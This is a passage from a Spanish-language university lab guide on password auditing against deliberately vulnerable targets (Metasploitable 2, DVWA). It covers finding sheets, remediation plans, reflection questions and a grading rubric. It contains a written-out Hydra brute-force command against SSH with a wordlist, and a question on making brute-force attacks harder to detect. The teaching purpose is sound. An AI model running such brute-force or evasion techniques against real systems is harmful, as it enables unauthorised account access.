Recomendacion tecnica	Sustituir el almacenamiento MD5 por password_hash() de PHP con algoritmo PASSWORD_BCRYPT (cost factor >= 12) o PASSWORD_ARGON2ID. Migrar los hashes existentes obligando a los usuarios a restablecer su contraseña. Implementar salt unico por usuario generado criptograficamente. Agregar verificacion contra HaveIBeenPwned API.
Referencia normativa completa	ISO 27002:2022 ctrl. 5.17. RGPD art. 32.1.b (cifrado). RGPD art. 83.4 (sanciones). ENS mp.si.2 (Cifrado de informacion). OWASP WSTG-ATHN-07.

C-03 Ausencia de mecanismo de bloqueo de cuenta (account lockout)	
Control normativo incumplido	ISO 27002:2022 ctrl. 5.17 - ENS op.acc.5 - OWASP A07:2021
Herramienta utilizada	Hydra (10.000+ intentos sin bloqueo) - Verificacion PAM /etc/pam.d
Descripcion del hallazgo	El sistema no tiene configurado ningun mecanismo de bloqueo de cuenta tras multiples intentos de autentificacion fallidos. Hydra realizo mas de 10.000 intentos de login SSH consecutivos sin que ninguna cuenta fuera bloqueada temporalmente. Tampoco existe rate limiting en los servicios HTTP (DVWA Brute Force modulo) ni en FTP. ISO 27002:2022 control 5.17 exige que los sistemas implementen mecanismos de proteccion frente a ataques de fuerza bruta en linea.
Comandos / evidencia tecnica	<pre>hydra -l msfadmin -P rockyou.txt ssh://<IP META> -t 10 -> 14.322 intentos completados sin bloqueo. Verificacion: cat /etc/pam.d/common-auth -> sin modulo pam_faillock ni pam_tally2</pre>
Resultado obtenido	Sin bloqueo de cuenta en SSH, FTP, Telnet ni HTTP. 10.000+ intentos ejecutados en < 5 minutos sin interrupcion.
Impacto	Permite ataques de fuerza bruta offline completos sin ninguna mitigacion. Un atacante con acceso a la red puede probar millones de contraseñas sin limite. Combinado con la ausencia de MFA, el riesgo de compromiso es muy alto. MAGERIT: [A.11] Acceso no autorizado.
Recomendacion tecnica	Configurar pam_faillock en /etc/pam.d/common-auth: bloqueo tras 5 intentos fallidos durante 30 minutos. Implementar fail2ban para SSH, FTP y servicios HTTP. Configurar rate limiting en Apache (mod_ratelimit). Implementar autentificacion multifactor (MFA) con Google Authenticator + PAM para SSH (pam_google_authenticator).
Referencia normativa completa	ISO 27002:2022 ctrl. 5.17. ENS op.acc.5 (categoria MEDIA: autentificacion reforzada). OWASP Top 10:2021 A07 (Identification and Authentication Failures). OWASP WSTG-ATHN-03.

Hallazgos C-04 y C-05 - A completar por el alumno:

Campo	C-04 (completar)	C-05 (completar)
Titulo del hallazgo	_____	_____
Control normativo incumplido	_____	_____
Herramienta utilizada	_____	_____
Descripcion	_____	_____
Comandos / evidencia	_____	_____
Resultado obtenido	_____	_____
Impacto	_____	_____
Recomendacion	_____	_____
Referencia normativa	_____	_____

5. ENTREGABLE - INFORME DE AUDITORIA DE CONTRASEÑAS

5.1 Estructura del informe

- * 1. Portada: datos del alumno, fecha, sistema auditado, alcance del analisis.
- * 2. Metodologia: herramientas utilizadas, tipos de ataque aplicados, fuentes de hashes analizadas.
- * 3. Resumen ejecutivo: resultado del analisis (X de Y hashes crackeados), evaluacion global de la politica, recomendacion principal.
- * 4. Tabla de hashes y resultados: todos los hashes analizados con su resultado (crackeado/no crackeado), tiempo y herramienta.
- * 5. Matriz de evaluacion normativa: tabla de la Tarea 5.1 completada.
- * 6. Fichas de hallazgos C-01 a C-05.
- * 7. Analisis de entropia: tabla de la Tarea 5.2 con los resultados reales del laboratorio.
- * 8. Plan de remediacion: recomendaciones tecnicas priorizadas con referencias normativas.
- * 9. Conclusiones: valoracion global y cumplimiento ISO 27002:2022 ctrl. 5.17 / LOPDGDD.
- * 10. Anexos: ficheros de hashes, resultados de John/Hashcat/Hydra (anonimizados - sin las contraseñas en claro si el informe se entrega en formato impreso).

5.2 Plan de remediacion priorizado

Prior.	Hallazgo	Accion correctora	Herramienta/Config	Norma	Plazo
1	C-01 Contraseñas por defecto	Cambiar todas las contraseñas de sistema	passwd, /etc/pam.d	ISO 5.17	Inmediato
1	C-02 MD5 sin salt en MySQL	Migrar a bcrypt (password_hash PHP)	PHP + MySQL schema	ISO 5.17 / RGPD 32	Inmediato
2	C-03 Sin account lockout	Configurar pam_faillock + fail2ban	PAM + fail2ban	ISO 5.17 / ENS op.acc.5	7 dias
2	C-04 (alumno)	_____	_____	_____	_____
3	Politica de complejidad	Configurar pam_pwquality (minlen=12)	pam_pwquality	ENS op.acc.5	30 dias
3	MFA para acceso privilegiado	Google Authenticator + PAM SSH	pam_google_auth	ENS op.acc.5 ALTA	30 dias

5.3 Ficheros a entregar

```
zip LAB06_[apellido]_[nombre].zip ~/lab06/
```

Fichero	Contenido
hashes/combined.txt	Hashes shadow+passwd combinados (unshadow)
hashes/dvwa_md5.txt	Hashes MD5 extraidos de DVWA
hashes/sha512_hashes.txt	Hashes SHA-512 aislados de /etc/shadow
resultados/hashcat_md5.txt	Resultados Hashcat sobre MD5 DVWA
resultados/hashcat_sha512.txt	Resultados Hashcat sobre SHA-512 shadow
resultados/hydra_ssh.txt	Resultados Hydra sobre SSH
resultados/hydra_ftp.txt	Resultados Hydra sobre FTP
resultados/hydra_telnet.txt	Resultados Hydra sobre Telnet
informe_lab06.pdf	Informe completo de auditoria de contraseñas

6. PREGUNTAS DE REFLEXION

- * Has crackeado los hashes MD5 de DVWA en segundos. ISO 27002:2022 ctrl. 5.17 y el RGPD art. 32.1.b exigen que las contraseñas se almacenen con algoritmos resistentes al crackeo. Explica técnicamente por qué bcrypt es mucho más resistente que MD5 aunque ambos sean algoritmos de hashing: qué propiedad clave tiene bcrypt que MD5 no tiene? Qué valor de cost factor recomendarías para una aplicación web en producción en 2024?
- * La LOPDGDD (art. 5) exige que las medidas de seguridad sean adecuadas al riesgo. Si una empresa almacena contraseñas de clientes con MD5 sin salt y sufre una brecha de datos: a) qué multa podría imponer la AEPD?, b) quién tendría que notificar a quién y en qué plazo?, c) habría obligación de notificar a los usuarios afectados? Cita los artículos exactos del RGPD en cada respuesta.
- * El NIST SP 800-63B (edición 2024) ha eliminado la recomendación de caducidad periódica de contraseñas (cada 90 días), que era la práctica estándar durante décadas. Explica por qué el NIST cambió esta recomendación. Qué evidencia empírica respalda este cambio? Cómo afecta esto a las políticas de contraseñas que deberían implementar las organizaciones sujetas al ENS?
- * Hydra realizó más de 10.000 intentos de login en Metasploitable 2 sin ser detectado ni bloqueado. En un sistema real de producción con un IDS/IPS activo, qué técnicas podría usar un atacante para hacer que un ataque de fuerza bruta sea menos detectable? (Piensa en velocidad, IPs de origen, user agents.) Qué controles técnicos debería implementar el defensor para detectar y mitigar estos ataques evasivos?
- * Has analizado contraseñas reales extraídas de un sistema Linux (/etc/shadow). En el contexto de la LOPDGDD y el RGPD, los hashes de contraseñas son datos personales? Razona tu respuesta. Tiene impacto en cómo debes tratar los ficheros de hashes que has generado durante este laboratorio? Qué debería hacer una empresa con los hashes de contraseñas de empleados si cesa su actividad?

7. RUBRICA DE EVALUACION

Criterio	Insuficiente (0-4)	Suficiente (5-7)	Excelente (8-10)
Uso de herramientas (25%)	No ejecuta ninguna herramienta correctamente	John o Hashcat ejecutados con wordlist basica	John, Hashcat e Hydra ejecutados con modos y ataques justificados
Identificacion y crackeo de hashes (30%)	No identifica tipos de hash ni obtiene resultados	Identifica los tipos y crackea alguna contraseña	Identifica todos los tipos, aplica el ataque optimo y crackea la mayoría de hashes debiles
Evaluacion de politica de contraseñas (25%)	Sin evaluacion o sin referencia normativa	Evalua la politica basica con referencia a ISO 27002	Evaluacion completa contra ISO 27002:2022 ctrl. 5.17, ENS op.acc.5 y LOPDGDD, con puntuacion de cada criterio
Informe de auditoria (20%)	Sin estructura o incompleto	Hallazgos documentados con recomendaciones basicas	Informe profesional con fichas de hallazgo, impacto LOPDGDD y plan de remediacion priorizado

Nota final: media ponderada de los cuatro criterios. Nota minima de 5 en cada criterio para superar el laboratorio.

i Los resultados de este laboratorio, especialmente la matriz de evaluacion de politica de contraseñas (Tarea 5.1), se integraran en el LAB-07 (Analisis de riesgos MAGERIT) como evidencia de la evaluacion de salvaguardas de autentificacion. Conserva todos los ficheros de resultados.

8. REFERENCIAS

Normativa

- * ISO/IEC 27002:2022. Control 5.17: Authentication Information. BSI, 2022.
- * ISO/IEC 27001:2022. Annex A control A.5.17 (Authentication information).
- * Ley Organica 3/2018 de Proteccion de Datos Personales y Garantia de los Derechos Digitales (LOPDGDD). Art. 5. BOE num. 294, 2018.
- * Reglamento (UE) 2016/679 (RGPD). Arts. 32 (Seguridad del tratamiento), 33 (Notificacion de brecha), 34 (Comunicacion al interesado), 83 (Condiciones para la imposicion de multas).
- * Real Decreto 311/2022 - ENS. Medidas op.acc.5 (Autenticacion) y mp.si.2 (Cifrado de informacion). BOE num. 106, 2022.
- * NIST Special Publication 800-63B - Digital Identity Guidelines: Authentication and Lifecycle Management. NIST, 2024.

Tecnicas

- * Openwall Project. John the Ripper Password Cracker. <https://www.openwall.com/john/>
- * Hashcat Project. Hashcat - Advanced Password Recovery. <https://hashcat.net/hashcat/>
- * Van Hauser et al. THC Hydra - Fast and flexible online password cracker. <https://github.com/vanhauser-thc/thc-hydra>
- * OWASP Foundation. WSTG-ATHN-07: Testing for Weak Password Policy. <https://owasp.org/www-project-web-security-testing-guide/>
- * OWASP Foundation. Password Storage Cheat Sheet. https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html
- * HaveIBeenPwned API. <https://haveibeenpwned.com/API/v3>